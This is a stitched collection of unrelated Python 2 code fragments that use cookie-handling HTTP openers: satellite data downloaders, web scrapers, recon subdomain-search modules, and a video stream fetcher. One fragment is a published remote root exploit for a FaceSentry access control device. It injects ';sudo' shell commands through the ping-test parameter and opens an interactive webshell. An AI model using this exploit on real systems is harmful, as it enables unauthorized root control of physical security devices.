def __init__(self): """ Initialisation de AdeConnectionUtil Cette méthode permet de construire le connecteur de site et le gestionnaire de cookie.""" self.CJ = CookieJar() self.connection = build_opener(HTTPCookieProcessor(self.CJ))
def DownloadRoutine(tile, year, momonth, outputfolder): """Downloads files""" username = '******' password = '******' scratch = tempfile.mkdtemp() f = date(int(year), int(momonth), 1) DOY = str(f.timetuple().tm_yday).rjust(3, '0') hdf_pattern = re.compile( 'MOD13A3.A' + year + DOY + '.' + tile + '.006.*.hdf$', re.IGNORECASE) source = "http://e4ftl01.cr.usgs.gov/" + "MOLT/MOD13A3.006/" + year + "." + momonth + ".01/" webFile = os.path.join(scratch, "earthdata.html") matched_file = '' files = [] match_array = [] try: if ALFlib.getDownload(source, webFile): page = open(webFile).read() files = [] for url in page.split('<a href="'): link = url.split('">', 1)[0] if link.endswith('hdf'): files.append(link.split("/")[-1]) except urllib2.HTTPError: arcpy.AddMessage("\n[ERROR] No data for that date\n") sys.exit() for f in files: if re.match(hdf_pattern, f): matched_file = f match_array.append(matched_file) break if matched_file == '': print("\n[ERROR] No data for that tile\n") print("Found: " + matched_file) username = '******' password = '******' for f in match_array: url = os.path.join(source, f) print(url) file_name = url.split('/')[-1] # The user credentials that will be used to authenticate access to the data # Create a password manager to deal with the 401 reponse that is returned from # Earthdata Login password_manager = urllib2.HTTPPasswordMgrWithDefaultRealm() password_manager.add_password(None, "https://urs.earthdata.nasa.gov", username, password) # Create a cookie jar for storing cookies. This is used to store and return # the session cookie given to use by the data server (otherwise it will just # keep sending us back to Earthdata Login to authenticate). Ideally, we # should use a file based cookie jar to preserve cookies between runs. This # will make it much more efficient. cookie_jar = CookieJar() # Install all the handlers. opener = urllib2.build_opener( urllib2.HTTPBasicAuthHandler(password_manager), # urllib2.HTTPHandler(debuglevel=1), # Uncomment these two lines to see # urllib2.HTTPSHandler(debuglevel=1), # details of the requests/responses urllib2.HTTPCookieProcessor(cookie_jar)) urllib2.install_opener(opener) # Create and submit the request. There are a wide range of exceptions that # can be thrown here, including HTTPError and URLError. These should be # caught and handled. request = urllib2.Request(url) response = urllib2.urlopen(request) # Print out the result (not a good idea with binary data!) body = response.read() file_ = open(os.path.join(outputfolder, file_name), 'wb') file_.write(body) file_.close() logging.debug(datelog + " : Your file, ", file_name, " has downloaded to ", os.path.join(outputfolder, file_name))
print('send result:', data) #print('===send===data', data) def main(server=False): global IS_SERVER global MemberList, MemberMap, MemberNickMap if server: IS_SERVER = True try: ssl._create_default_https_context = ssl._create_unverified_context except Exception, e: print('ssl模块加载问题', str(e)) opener = wxb_urllib.build_opener( wxb_urllib.HTTPCookieProcessor(CookieJar())) opener.addheaders = [( 'User-agent', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36' )] wxb_urllib.install_opener(opener) if not getUUID(): print('获取uuid失败') return print('正在获取二维码图片...') showQRImage() time.sleep(1) while waitForLogin() != '200':
def module_run(self, domains): base_url = 'https://www.bing.com/search' for domain in domains: self.heading(domain, level=0) base_query = 'domain:' + domain pattern = '"b_algo"><h2><a href="(?:\w*://)*(\S+?)\.%s[^"]*"' % ( domain) subs = [] # control variables new = True page = 0 nr = 50 cookiejar = CookieJar() cookiejar.set_cookie( self.make_cookie('SRCHHPGUSR', 'NEWWND=0&NRSLT=%d&SRCHLANG=&AS=1' % (nr), '.bing.com')) # execute search engine queries and scrape results storing subdomains in a list # loop until no new subdomains are found while new == True: content = None query = '' # build query based on results of previous results for sub in subs: query += ' -domain:%s.%s' % (sub, domain) full_query = base_query + query url = '%s?first=%d&q=%s' % (base_url, (page * nr), urllib.quote_plus(full_query)) # bing errors out at > 2059 characters not including the protocol if len(url) > 2066: url = url[:2066] self.verbose('URL: %s' % (url)) # send query to search engine resp = self.request(url, cookiejar=cookiejar) if resp.status_code != 200: self.alert( 'Bing has encountered an error. Please submit an issue for debugging.' ) break content = resp.text sites = re.findall(pattern, content) # create a unique list sites = list(set(sites)) new = False # add subdomain to list if not already exists for site in sites: if site not in subs: subs.append(site) new = True host = '%s.%s' % (site, domain) self.output('%s' % (host)) self.add_hosts(host) if not new: # exit if all subdomains have been found if not '>Next</a>' in content: break else: page += 1 self.verbose( 'No New Subdomains Found on the Current Page. Jumping to Result %d.' % ((page * nr) + 1)) new = True # sleep script to avoid lock-out self.verbose('Sleeping to avoid lockout...') time.sleep(random.randint(5, 15))
def esa_cryosat_sync(PRODUCT, YEARS, BASELINE=None, DIRECTORY=None, BBOX=None, POLYGON=None, LOG=False, LIST=False, MODE=None, CLOBBER=False): #-- create log file with list of synchronized files (or print to terminal) if LOG: #-- check if log directory exists and recursively create if not os.makedirs(DIRECTORY, MODE) if not os.path.exists(DIRECTORY) else None #-- format: ESA_CS_SIR_SIN_L2_sync_2002-04-01.log today = time.strftime('%Y-%m-%d', time.localtime()) LOGFILE = 'ESA_CS_{0}_sync_{1}.log'.format(PRODUCT, today) fid1 = open(os.path.join(DIRECTORY, LOGFILE), 'w') print('ESA CryoSat-2 Sync Log ({0})'.format(today), file=fid1) print('PRODUCT={0}'.format(PRODUCT), file=fid1) else: #-- standard output (terminal output) fid1 = sys.stdout #-- CryoSat-2 Science Server url [sic Cry0Sat2_data] #-- static site is no longer available HOST = posixpath.join('https://science-pds.cryosat.esa.int') #-- compile xml parsers for lxml XMLparser = lxml.etree.XMLParser() #-- Create cookie jar for storing cookies cookie_jar = CookieJar() #-- create "opener" (OpenerDirector instance) opener = urllib2.build_opener( urllib2.HTTPSHandler(context=ssl.SSLContext()), urllib2.HTTPCookieProcessor(cookie_jar)) #-- Now all calls to urllib2.urlopen use our opener. urllib2.install_opener(opener) #-- All calls to urllib2.urlopen will now use handler #-- Make sure not to include the protocol in with the URL, or #-- HTTPPasswordMgrWithDefaultRealm will be confused. #-- compile regular expression operator for years to sync regex_years = '|'.join('{0:d}'.format(y) for y in YEARS) R1 = re.compile('({0})'.format(regex_years), re.VERBOSE) #-- regular expression pattern for months of the year regex_months = '|'.join('{0:02d}'.format(m) for m in range(1, 13)) R2 = re.compile('({0})'.format(regex_months), re.VERBOSE) #-- compile the regular expression operator to find CryoSat-2 files #-- spatially subset data using bounding box or polygon file if BBOX: #-- if using a bounding box to spatially subset data #-- only find header files to extract latitude and longitude coordinates R3 = compile_regex_pattern(PRODUCT, BASELINE, SUFFIX='(HDR)') #-- min_lon,min_lat,max_lon,max_lat lon = [BBOX[0], BBOX[2], BBOX[2], BBOX[0], BBOX[0]] lat = [BBOX[1], BBOX[1], BBOX[3], BBOX[3], BBOX[1]] #-- create shapely polygon poly_obj = shapely.geometry.Polygon(list(zip(lon, lat))) #-- Valid Polygon cannot have overlapping exterior or interior rings if (not poly_obj.is_valid): poly_obj = poly_obj.buffer(0) elif POLYGON: #-- if using a polygon file to spatially subset data #-- only find header files to extract latitude and longitude coordinates R3 = compile_regex_pattern(PRODUCT, BASELINE, SUFFIX='(HDR)') #-- read shapefile, kml/kmz file or GeoJSON file fileBasename, fileExtension = os.path.splitext(POLYGON) #-- extract file name and subsetter indices lists match_object = re.match('(.*?)(\[(.*?)\])?$', POLYGON) FILE = os.path.expanduser(match_object.group(1)) #-- read specific variables of interest v = match_object.group(3).split(',') if match_object.group(2) else None #-- get MultiPolygon object from input spatial file if fileExtension in ('.shp', '.zip'): #-- if reading a shapefile or a zipped directory with a shapefile ZIP = (fileExtension == '.zip') m = read_shapefile(os.path.expanduser(FILE), VARIABLES=v, ZIP=ZIP) elif fileExtension in ('.kml', '.kmz'): #-- if reading a keyhole markup language (can be compressed) KMZ = (fileExtension == '.kmz') m = read_kml_file(os.path.expanduser(FILE), VARIABLES=v, KMZ=KMZ) elif fileExtension in ('.json', '.geojson'): #-- if reading a GeoJSON file m = read_geojson_file(os.path.expanduser(FILE), VARIABLES=v) else: raise IOError('Unlisted polygon type ({0})'.format(fileExtension)) #-- calculate the convex hull of the MultiPolygon object for subsetting poly_obj = m.convex_hull #-- Valid Polygon cannot have overlapping exterior or interior rings if (not poly_obj.is_valid): poly_obj = poly_obj.buffer(0) else: R3 = compile_regex_pattern(PRODUCT, BASELINE) #-- open connection with Cryosat-2 science server at remote directory parameters = {'file': posixpath.join('Cry0Sat2_data', PRODUCT)} url = posixpath.join(HOST, '?do=list&{0}'.format(urlencode(parameters))) request = urllib2.Request(url=url) response = urllib2.urlopen(request, timeout=60) table = json.loads(response.read().decode()) #-- find remote yearly directories for PRODUCT within YEARS YRS = [t['name'] for t in table['results'] if R1.match(t['name'])] for Y in YRS: #-- open connection with Cryosat-2 science server at remote directory parameters = {'file': posixpath.join('Cry0Sat2_data', PRODUCT, Y)} url = posixpath.join(HOST, '?do=list&{0}'.format(urlencode(parameters))) request = urllib2.Request(url=url) response = urllib2.urlopen(request, timeout=360) table = json.loads(response.read().decode()) #-- find remote monthly directories for PRODUCT within year MNS = [t['name'] for t in table['results'] if R2.match(t['name'])] for M in MNS: #-- local directory for data product of year and month local_dir = os.path.join(DIRECTORY, PRODUCT, Y, M) #-- check if local directory exists and recursively create if not os.makedirs(local_dir, MODE) if not os.path.exists(local_dir) else None #-- open connection with Cryosat-2 science server at remote directory parameters = { 'file': posixpath.join('Cry0Sat2_data', PRODUCT, Y, M) } url = posixpath.join(HOST, '?do=list&{0}'.format(urlencode(parameters))) request = urllib2.Request(url=url) response = urllib2.urlopen(request, timeout=360) table = json.loads(response.read().decode()) #-- find remote files for PRODUCT within year and month colnames = [t['name'] for t in table['results']] collastmod = [t['mtime'] for t in table['results']] #-- if spatially subsetting if BBOX or POLYGON: #-- find names of valid header files header_files = [ f for i, f in enumerate(colnames) if R3.match(f) ] for f in sorted(header_files): #-- remote and local versions of the file parameters = { 'file': posixpath.join('Cry0Sat2_data', PRODUCT, Y, M, f) } remote_file = posixpath.join( HOST, '?do=download&{0}'.format(urlencode(parameters))) #-- extract information from filename MI, CLASS, PRD, START, STOP, BSLN, VERS, SFX = R3.findall( f).pop() #-- read XML header file and check if intersecting if parse_xml_file(remote_file, poly_obj, XMLparser): #-- compile regular expression operator for times R4 = compile_regex_pattern(PRODUCT, BASELINE, START=START, STOP=STOP) subset = [ i for i, f in enumerate(colnames) if R4.match(f) ] for i in subset: #-- remote and local versions of the file parameters = { 'file': posixpath.join('Cry0Sat2_data', PRODUCT, Y, M, colnames[i]) } remote_file = posixpath.join( HOST, '?do=download&{0}'.format( urlencode(parameters))) local_file = os.path.join(local_dir, colnames[i]) #-- get last modified date in unix time remote_mtime = collastmod[i] http_pull_file(fid1, remote_file, remote_mtime, local_file, LIST, CLOBBER, MODE) else: #-- find lines of valid files valid_lines = [ i for i, f in enumerate(colnames) if R3.match(f) ] for i in valid_lines: #-- remote and local versions of the file parameters = { 'file': posixpath.join('Cry0Sat2_data', PRODUCT, Y, M, colnames[i]) } remote_file = posixpath.join( HOST, '?do=download&{0}'.format(urlencode(parameters))) local_file = os.path.join(local_dir, colnames[i]) #-- get last modified date in unix time remote_mtime = collastmod[i] #-- check that file is not in file system unless overwriting http_pull_file(fid1, remote_file, remote_mtime, local_file, LIST, CLOBBER, MODE) #-- close log file and set permissions level to MODE if LOG: fid1.close() os.chmod(os.path.join(DIRECTORY, LOGFILE), MODE)
def init(self): self._client = urllib2.build_opener( urllib2.HTTPCookieProcessor(CookieJar())) self.url = self.resolve_file_url(self._resolver_class, self._url) if not self.url: raise HTTPLoader.Error('Url was not resolved to file link')
def new_opener(self): from cookielib import CookieJar from urllib2 import build_opener, HTTPCookieProcessor return build_opener(HTTPCookieProcessor(CookieJar()))
class HLSFetcher(object): def __init__(self, url, **options): self.program = options.get('program',1) self.hls_headers = options.get('headers',{}) self.path = options.get('path',None) self.bitrate = options.get('bitrate',200000) self.nbuffer = options.get('buffer',5) self.n_segments_keep = options.get('keep',self.nbuffer+1) url = urllib.unquote(url) self.puser = options.get('puser') self.ppass = options.get('ppass') self.purl = options.get('purl') us = url.split('|') if len(us) > 1: self.url = us[0] for hd in us[1:]: self.hls_headers.update(dict(urlparse.parse_qsl(hd.strip()))) else: self.url = url self.agent = self.hls_headers.pop('User-Agent', getUserAgent()) if not self.path: self.path = tempfile.mkdtemp() self._program_playlist = None self._file_playlist = None self._cookies = CookieJar() self._cached_files = {} # sequence n -> path self._run = True self._poolHelper = TwHTTP11PoolHelper(retryAutomatically=True) self._files = None # the iter of the playlist files download self._next_download = None # the delayed download defer, if any self._file_playlisted = None # the defer to wait until new files are added to playlist self._new_filed = None self._seg_task = None def _get_page(self, url): url = url.encode("utf-8") if 'HLS_RESET_COOKIES' in os.environ.keys(): self._cookies.clear() timeout = 10 return twAgentGetPage(url, agent=self.agent, cookieJar=self._cookies, headers=self.hls_headers, timeout=timeout, pool=self._poolHelper._pool, proxy_url=self.purl, p_user=self.puser, p_pass=self.ppass) def _download_page(self, url, path, file): def _decrypt(data): def num_to_iv(n): iv = struct.pack(">8xq", n) return b"\x00" * (16 - len(iv)) + iv if not self._file_playlist._iv: iv = num_to_iv(file['sequence']) aes = AES.new(self._file_playlist._key, AES.MODE_CBC, iv) else: aes = AES.new(self._file_playlist._key, AES.MODE_CBC, self._file_playlist._iv) return aes.decrypt(data) d = self._get_page(url) if self._file_playlist._key: d.addCallback(_decrypt) return d def _download_segment(self, f): url = make_url(self._file_playlist.url, f['file']) name = 'seg_' + next(tempfile._get_candidate_names()) path = os.path.join(self.path, name) d = self._download_page(url, path, f) if self.n_segments_keep != 0: file = open(path, 'wb') d.addCallback(lambda x: file.write(x)) d.addBoth(lambda _: file.close()) d.addCallback(lambda _: path) d.addErrback(self._got_file_failed) d.addCallback(self._got_file, url, f) else: d.addCallback(lambda _: (None, path, f)) return d def delete_cache(self, f): bgFileEraser = eBackgroundFileEraser.getInstance() keys = self._cached_files.keys() for i in ifilter(f, keys): filename = self._cached_files[i] bgFileEraser.erase(str(filename)) del self._cached_files[i] def delete_all_cache(self): bgFileEraser = eBackgroundFileEraser.getInstance() for path in self._cached_files.itervalues(): bgFileEraser.erase(str(path)) self._cached_files.clear() def _got_file_failed(self, e): if self._new_filed: self._new_filed.errback(e) self._new_filed = None def _got_file(self, path, url, f): self._cached_files[f['sequence']] = path if self.n_segments_keep != -1: self.delete_cache(lambda x: x <= f['sequence'] - self.n_segments_keep) if self._new_filed: self._new_filed.callback((path, url, f)) self._new_filed = None return (path, url, f) def _get_next_file(self): next = self._files.next() if next: return self._download_segment(next) elif not self._file_playlist.endlist(): self._seg_task.stop() self._file_playlisted = defer.Deferred() self._file_playlisted.addCallback(lambda x: self._get_next_file()) self._file_playlisted.addCallback(self._next_file_delay) self._file_playlisted.addCallback(self._seg_task.start) return self._file_playlisted def _handle_end(self, failure): failure.trap(StopIteration) print "End of media" def _next_file_delay(self, f): if f == None: return 0 delay = f[2]["duration"] if self.nbuffer > 0: for i in range(0,self.nbuffer): if self._cached_files.has_key(f[2]['sequence'] - i): return delay delay = 0 elif self._file_playlist.endlist(): delay = 1 return delay def _get_files_loop(self, res=None): if not self._seg_task: self._seg_task = task.LoopingCall(self._get_next_file) d = self._get_next_file() if d != None: self._seg_task.stop() d.addCallback(self._next_file_delay) d.addCallback(self._seg_task.start) d.addErrback(self._handle_end) def _playlist_updated(self, pl): if pl and pl.has_programs(): # if we got a program playlist, save it and start a program self._program_playlist = pl (program_url, _) = pl.get_program_playlist(self.program, self.bitrate) return self._reload_playlist(M3U8(program_url, self._cookies, self.hls_headers)) elif pl and pl.has_files(): # we got sequence playlist, start reloading it regularly, and get files self._file_playlist = pl if not self._files: self._files = pl.iter_files() if not pl.endlist(): reactor.callLater(pl.reload_delay(), self._reload_playlist, pl) if self._file_playlisted: self._file_playlisted.callback(pl) self._file_playlisted = None else: raise Exception('Playlist has no valid content.') return pl def _got_playlist_content(self, content, pl): if not pl.update(content) and self._run: # if the playlist cannot be loaded, start a reload timer d = deferLater(reactor, pl.reload_delay(), self._fetch_playlist, pl) d.addCallback(self._got_playlist_content, pl) return d return pl def _fetch_playlist(self, pl): d = self._get_page(pl.url) return d def _reload_playlist(self, pl): if self._run: d = self._fetch_playlist(pl) d.addCallback(self._got_playlist_content, pl) d.addCallback(self._playlist_updated) return d else: return None def get_file(self, sequence): d = defer.Deferred() keys = self._cached_files.keys() try: endlist = sequence == self._file_playlist._end_sequence sequence = ifilter(lambda x: x >= sequence, keys).next() filename = self._cached_files[sequence] d.callback((filename, endlist)) except: d.addCallback(lambda x: self.get_file(sequence)) self._new_filed = d keys.sort() return d def _start_get_files(self, x): self._new_filed = defer.Deferred() self._get_files_loop() return self._new_filed def start(self): if self._run: self._files = None d = self._reload_playlist(M3U8(self.url, self._cookies, self.hls_headers)) d.addCallback(self._start_get_files) return d def stop(self): self._run = False self._poolHelper.close() if self._seg_task != None: self._seg_task.stop() if self._new_filed != None: self._new_filed.cancel() reactor.callLater(1, self.delete_all_cache)
def scrapeContent(url, agency): config = { 'cnn': { 'attr_key': '_class', 'attr_val': 'zn-body__paragraph', 'cookie': False, 'tag': 'p', 'parent': { 'attr_key': 'itemprop', 'attr_val': 'articleBody', } }, 'foxnews': { 'attr_key': '_class', 'attr_val': '', 'cookie': False, 'tag': 'p', 'parent': { 'attr_key': 'itemprop', 'attr_val': 'articleBody', } }, 'nytimes': { 'attr_key': '_class', 'attr_val': 'story-body-text story-content', 'cookie': True }, 'gma': { 'attr_key': 'itemprop', 'attr_val': 'articleBody', 'cookie': False }, 'usatoday': { 'attr_key': '_class', 'attr_val': '', 'cookie': False, 'tag': 'p', 'parent': { 'attr_key': 'itemprop', 'attr_val': 'articleBody', } }, 'latimes': { 'attr_key': '_class', 'attr_val': '', 'cookie': False, 'tag': 'p', 'parent': { 'attr_key': 'itemprop', 'attr_val': 'articleBody', } }, 'washtimes': { 'attr_key': '_class', 'attr_val': '', 'cookie': False, 'tag': 'p', 'parent': { 'attr_key': '_class', 'attr_val': 'storyareawrapper', } }, 'usnews': { 'attr_key': '_class', 'attr_val': 'MsoNormal', 'cookie': False, 'tag': 'p', # 'parent': { # 'attr_key': '_class', # 'attr_val': 'block skin-editable', # } }, } cj = CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) # page = requests.get(url) # print page.content # exit() hdr = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.3', 'Accept-Encoding': 'none', 'Accept-Language': 'en-US,en;q=0.8', 'Connection': 'keep-alive' } req = urllib2.Request(url, headers=hdr) #necessary for cookie setter websites like nyt if config[agency]['cookie']: soup = BeautifulSoup(opener.open(req), "lxml") else: soup = BeautifulSoup(urllib2.urlopen(req), "lxml") # for row in soup.find_all('section', attrs={"class": "zn-has-46-containers"}): # print row.text #print soup # for item in soup.findAll("section", {}, True): # if 'zn-has-46-containers' in item.attrs['class']: # print item #mydivs = soup.findAll('section', {'class': lambda x: 'zn-has-46-containers' in x.split()}) #print mydivs #print soup.find_all("section", class_="zn-has-46-containers") #print soup.find_all("section", class_="zn-has-46-containers", True) #print soup; exit() #print soup.find_all("div") #container = soup.find_all("div", class_="l-container") #container = soup.find_all(class_="zn-body__paragraph") #container = soup.find_all("div", class_="article-text") #container = soup.find_all(class_="story-body-text story-content") # print config[agency]["attr_key"] # name = "soup.find_all(" + "" + "='articleBody')" # container = eval(name) #print config[agency] #print soup; exit() html = '' title = soup.find_all('title') title = title[0].renderContents() #print title; exit() #title = html2text.html2text(str(title)) if 'parent' in config[agency]: parent_attributes = { config[agency]['parent']['attr_key']: config[agency]['parent']['attr_val'] } parent = soup.find_all(**parent_attributes) else: parent = soup.find_all('html') #print parent; exit() attributes = {config[agency]['attr_key']: config[agency]['attr_val']} if 'tag' in config[agency]: attributes['name'] = config[agency]['tag'] #print parent; exit() #print len(parent); exit() for par in parent: #print par;exit() # container = par.find_all(**attributes) # html += str(container) elements = par.find_all("p", _class="MsoNormal") print attributes print elements exit() for e in elements: html += unicode(e.renderContents(), 'utf-8') h = html2text.HTML2Text() h.ignore_links = True article = h.handle(html) # article = h.handle(html) \ # .replace('\n,\n', '').replace('\r,\r', '').replace('\n,', '').replace(',\n', '').replace('\\n', '') \ # .strip("[").strip("]") return title, article
def main(): if os.name == 'posix': os.system('clear') if os.name == 'nt': os.system('cls') vremetodeneska = datetime.datetime.now() kd = vremetodeneska.strftime('%d.%m.%Y %H:%M:%S') print 'Starting exploit at ' + kd print ''' ────────────────────────────────── ──FaceSentry Access Control System ────────Remote Root Exploit ─────────Zero Science Lab ────────www.zeroscience.mk ───────────ZSL-2019-5525 ─────────────▄▄▄▄▄▄▄▄▄ ─────────────▌▐░▀░▀░▀▐ ─────────────▌░▌░░░░░▐ ─────────────▌░░░░░░░▐ ─────────────▄▄▄▄▄▄▄▄▄ ───────▄▀▀▀▀▀▌▄█▄░▄█▄▐▀▀▀▀▀▄ ──────█▒▒▒▒▒▐░░░░▄░░░░▌▒▒▒▒▒█ ─────▐▒▒▒▒▒▒▒▌░░░░░░░▐▒▒▒▒▒▒▒▌ ─────▐▒▒▒▒▒▒▒█░▀▀▀▀▀░█▒▒▒▒▒▒▒▌ ─────▐▒▒▒▒▒▒▒▒█▄▄▄▄▄█▒▒▒▒▒▒▒▒▌ ─────▐▒▒▒▒▐▒▒▒▒▒▒▒▒▒▒▒▒▐▒▒▒▒▒▌ ─────▐▒▒▒▒▒█▒▒▒▒▒▒▒▒▒▒▒█▒▒▒▒▒▌ ─────▐▒▒▒▒▒▐▒▒▒▒▒▒▒▒▒▒▒▌▒▒▒▒▒▌ ─────▐▒▒▒▒▒▒▌▒▒▒▒▒▒▒▒▒▐▒▒▒▒▒▒▌ ─────▐▒▒▒▒▒▒▌▄▄▄▄▄▄▄▄▄▐▒▒▒▒▒▒▌ ─────▐▄▄▄▄▄▄▌▌███████▌▐▄▄▄▄▄▄▌ ──────█▀▀▀▀█─▌███▌███▌─█▀▀▀▀█ ──────▐░░░░▌─▌███▌███▌─▐░░░░▌ ───────▀▀▀▀──▌███▌███▌──▀▀▀▀ ─────────────▌███▌███▌ ─────────────▌███▌███▌ ───────────▐▀▀▀██▌█▀▀▀▌ ▒▒▒▒▒▒▒▒▒▒▒▐▄▄▄▄▄▄▄▄▄▄▌▒▒▒▒▒▒▒▒▒▒▒ ''' usage() tegla = CookieJar() global ajde, target target = sys.argv[1] ajde = urllib2.build_opener(urllib2.HTTPCookieProcessor(tegla)) auth() raw_input('\n[*] Press [ENTER] to land... ') print '[+] Entering interactive (web)shell...' time.sleep(1) print while True: try: cmd = raw_input('root@facesentry:~# ') if 'exit' in cmd.strip(): print '[+] Take care now, bye bye then!' break if 'door' in cmd.strip(): door() continue podatoci = { 'strInIP' : ';sudo ' + cmd } # |cmd nesto_encode = urllib.urlencode(podatoci) r_izraz = ajde.open('http://' + target + '/pingTest.php?', nesto_encode) pattern = re.search(cmd+'\)<[^>]*>(.*?)</font>', r_izraz.read()) x = pattern.groups()[0].strip() y = x.replace('<br>', '\n') print y.strip() except Exception as i: print '[-] Error: ' + i.message pass except KeyboardInterrupt as k: print '\n[+] Interrupter!' sys.exit() sys.exit()
def __init__(self): super(WebService, self).__init__() self._cookie = CookieJar() self._opener = urllib2.build_opener( urllib2.HTTPCookieProcessor(self._cookie)) self.query_interval = 1.0
def __init__(self): cj = CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) opener.addheaders = [('User-agent', 'Mozilla/5.0')]
SITE = "https://www.reserveamerica.com" HEADERS = { "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", "Accept-Encoding":"gzip, deflate, br", "Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4,ru;q=0.2,es;q=0.2", "Connection":"keep-alive", "DNT":"1", "Host":"www.reserveamerica.com", "Referer":"https://www.reserveamerica.com/", "Upgrade-Insecure-Requests":"1", "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36" } cookie_jar = CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar)) opener.addheaders = [(k, v) for k, v in HEADERS.items()] class AvailableSite: def __init__(self, campsite_name, site_num, loop_name, date, book_url): self.campsite_name = campsite_name self.site_num = site_num self.loop_name = loop_name self.date = date self.book_url = book_url def __str__(self): formatter = ''' Camping ground name: %s
class GoogleWebMixin(object): cookiejar = CookieJar() user_agent = 'Lynx/2.8.8dev.3 libwww-FM/2.14 SSL-MM/1.4.1' def search_google_web(self, query, limit=0, start_page=1): # parsing logic based on https://github.com/maurosoria/s3arch url = 'https://www.google.com/search' num = 100 page = start_page set_page = lambda x: (x - 1) * num payload = { 'q': query, 'start': set_page(page), 'num': num, 'complete': 0 } results = [] self.verbose('Searching Google for: %s' % (query)) while True: #resp = None # google errors out at > 2061 characters not including the protocol # 21 (resource-proto) + 1 (?) + 8 (num) + 11 (complete) + 7 + len(start) + 3 + len(encoded(query)) #max_len = 2061 - 21 - 1 - 8 - 11 - 7 - len(payload['start']) - 3 #if len(urllib.quote_plus(query)) > max_len: query = query[:max_len] resp = self.request(url, payload=payload, redirect=False, cookiejar=self.cookiejar, agent=self.user_agent) # detect and handle captchas until answered correctly # first visit = 302, actual captcha = 503 # follow the redirect to the captcha count = 0 while resp.status_code == 302: redirect = resp.headers['location'] # request the captcha page resp = self.request(redirect, redirect=False, cookiejar=self.cookiejar, agent=self.user_agent) count += 1 # account for the possibility of infinite redirects if count == 20: break # handle the captcha # check needed because the redirect could result in an error # will properly exit the loop and fall to the error check below if resp.status_code == 503: resp = self._solve_google_captcha(resp) continue # handle error conditions if resp.status_code != 200: self.error('Google encountered an unknown error.') break tree = fromstring(resp.text) links = tree.xpath('//a/@href') regmatch = re.compile('^/url\?q=[^/]') for link in links: if regmatch.match( link ) != None and 'http://webcache.googleusercontent.com' not in link: results.append(urllib.unquote_plus(link[7:link.find('&')])) # check limit if limit == page: break page += 1 payload['start'] = set_page(page) # check for more pages if '>Next</' not in resp.text: break return results def _solve_google_captcha(self, resp): # set up the captcha page markup for parsing tree = fromstring(resp.text) # extract and request the captcha image resp = self.request('https://ipv4.google.com' + tree.xpath('//img/@src')[0], redirect=False, cookiejar=self.cookiejar, agent=self.user_agent) # store the captcha image to the file system with tempfile.NamedTemporaryFile(suffix='.jpg') as fp: fp.write(resp.raw) fp.flush() # open the captcha image for viewing in gui environments w = webbrowser.get() w.open('file://' + fp.name) self.alert(fp.name) _payload = {'captcha': raw_input('[CAPTCHA] Answer: ')} # temporary captcha file removed on close # extract the form elements for the capctah answer request form = tree.xpath('//form[@action="index"]')[0] for x in ['q', 'continue', 'submit']: _payload[x] = form.xpath('//input[@name="%s"]/@value' % (x))[0] # send the captcha answer return self.request('https://ipv4.google.com/sorry/CaptchaRedirect', payload=_payload, cookiejar=self.cookiejar, agent=self.user_agent)
def get(url, user_agent=None, verbose=False, max_retries=10, initial_delay_seconds=2, retry_delay_multiplier=2, ignore_404=True, ignore_410=True, ignore_500=True, ignore_400=True, ignore_403=True, timeout=10, allow_cookies=False, max_delay_seconds=30): """ Retreives the content of a URL, applying a customizable user-agent and intelligentally waiting when network errors are encountered. """ opener = None if allow_cookies: cj = CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) _user_agent = user_agent for retry in xrange(max_retries): try: if _user_agent is None: user_agent = random.choice(USER_AGENTS) if verbose: print url if opener: opener.addheaders = [('User-agent', user_agent), ('Accept', '*/*')] response = opener.open(url, timeout=timeout) else: request = urllib2.Request(url=url, headers={ 'User-agent': user_agent, 'Accept': '*/*' }) response = urllib2.urlopen(request, timeout=timeout) break except urllib2.HTTPError, e: if ignore_400 and '400' in str(e): return if ignore_410 and '410' in str(e): return if ignore_403 and '403' in str(e): return if ignore_404 and '404' in str(e): return if ignore_500 and '500' in str(e): return if 'not found' in str(e).lower() and not ignore_404: raise if verbose: print 'scrapper.get.error: %s' % (e, ) if retry == max_retries - 1: raise # Wait a short while, in case the error is due to a temporary # networking problem. time.sleep( min(max_delay_seconds, initial_delay_seconds + retry * retry_delay_multiplier))
import save save.state = 0 save.nbposts = 0 save.nbtopics = 0 save.nbusers = 0 save.forums = [] save.topics = [] save.users = [] save.smileys = {} save.posts = [] logging.debug('Création de l\'urlopener') cookiejar = CookieJar() urlopener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookiejar)) month = {u'Jan' : 1, u'Fév' : 2, u'Mar' : 3, u'Avr' : 4, u'Mai' : 5, u'Juin' : 6, u'Juil' : 7, u'Aoû' : 8, u'Sep' : 9, u'Oct' : 10, u'Nov' : 11, u'Déc' : 12}
